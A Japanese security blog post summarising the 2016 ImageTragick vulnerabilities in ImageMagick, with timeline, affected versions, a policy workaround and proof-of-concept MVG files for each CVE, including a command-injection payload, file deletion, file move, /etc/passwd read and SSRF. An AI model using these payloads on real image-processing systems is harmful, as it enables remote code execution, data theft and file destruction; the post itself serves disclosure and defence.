ブログトップ 記事一覧 ログイン 無料ブログ開設

piyolog RSSフィード

2016-05-04

ImageMagickの脆弱性(CVE-2016-3714他)についてまとめてみた

| 18:08 | ImageMagickの脆弱性(CVE-2016-3714他)についてまとめてみたを含むブックマーク

画像処理ソフトImageMagickに複数の脆弱性が存在するとして2016年5月3日頃、CVE-2016-3714他の脆弱性情報が公開されました。ここでは関連情報をまとめます。

脆弱性情報

対象ImageMagick
CVECVE-2016-3714
CVE-2016-3715
CVE-2016-3716
CVE-2016-3717
CVE-2016-3718
影響RCE
重要度N/A
PoCPoC公開あり。
in the wildとの情報もあり。
CVSS(v3)N/A
発見者Nikolay Ermishkin氏(Mail.Ru Security Team)
脆弱性愛称

ImageMagick脆弱性の愛称として「ImageTragick」という呼称が用いられている。

関連情報
攻撃パケットの観測
  • N/A
脆弱性概要
CVE概要
CVE-2016-3714Insufficient shell characters filtering leads to (potentially remote) code execution
CVE-2016-3715File deletion
CVE-2016-3716File moving
CVE-2016-3717Local file read (independently reported by original research author - https://hackerone.com/stewie)
CVE-2016-3718SSRF

脆弱性タイムライン

日付出来事
2016年4月21日file read vulnerability report for one of My.Com services from https://hackerone.com/stewie received by Mail.Ru Security Team. Issue is reportedly known to ImageMagic team.
同日file read vulnerability patched by My.Com development team
2016年4月28日code execution vulnerability in ImageMagick was found by Nikolay Ermishkin from Mail.Ru Security Team while researching original report
2016年4月30日code execution vulnerability reported to ImageMagick development team
2016年4月30日code execution vulnerability fixed by ImageMagick (incomplete fix)
同日fixed ImageMagic version 6.9.3-9 published (incomplete fix)
2016年5月1日ImageMagic informed of the fix bypass
2016年5月2日Limited disclosure to 'distros' mailing list
2016年5月3日public disclosure at https://imagetragick.com/

影響範囲

複数のバージョン(6.9.3-9含む)が影響を受けると推定されるが、正確な影響対象範囲は不明。

piyokangoは6.7.7-10でPoCが動作することを確認済。

対策

現時点で発見者が修正済であることを確認したバージョンは公開されていない。

修正版として6.9.3-9が公開されたが、発見者は修正が不完全だとして報告している。

バージョン確認方法
$ convert -version
回避策
<policymap>
  <policy domain="coder" rights="none" pattern="EPHEMERAL" />
  <policy domain="coder" rights="none" pattern="URL" />
  <policy domain="coder" rights="none" pattern="HTTPS" />
  <policy domain="coder" rights="none" pattern="MVG" />
  <policy domain="coder" rights="none" pattern="MSL" />
</policymap>

影響調査

PoC CVE-2016-3714

次のMVGファイル「exploit.mvg」を作成する。

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)'
pop graphic-context

ImageMagickのconvertコマンドでこのファイルを読み込むと、MVGファイル内に記載されたコマンドが実行される。

$ convert exploit.mvg out.png 
drwxr-xr-x 5 piyokango piyokango 4096 May  4 08:26 .
drwxr-xr-x 3 root      root      4096 Dec  4 15:06 ..
:

このPoCはMVGファイルを用いているが拡張子を偽装した場合(例えばJPG等)でもPoCが実行された。

PoC CVE-2016-3715

次のMVGファイルを作成しconvertコマンドで読み込む。

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'ephemeral:/tmp/delete.txt'
popgraphic-context
PoC CVE-2016-3716

次のMVGファイルを作成しconvertコマンドで読み込む。

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'msl:/tmp/msl.txt'
popgraphic-context
PoC CVE-2016-3717

次のMVGファイルを作成しconvertコマンドで読み込む。

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@...c/passwd'
pop graphic-context
PoC CVE-2016-3718

次のMVGファイルを作成しconvertコマンドで読み込む。

push graphic-context
viewbox 0 0 640 480
fill 'url(http://example.com/)'
pop graphic-context

謝辞

このまとめは次の方から頂いた情報をもとに追記・修正を行っています。ありがとうございます。

  • AJさん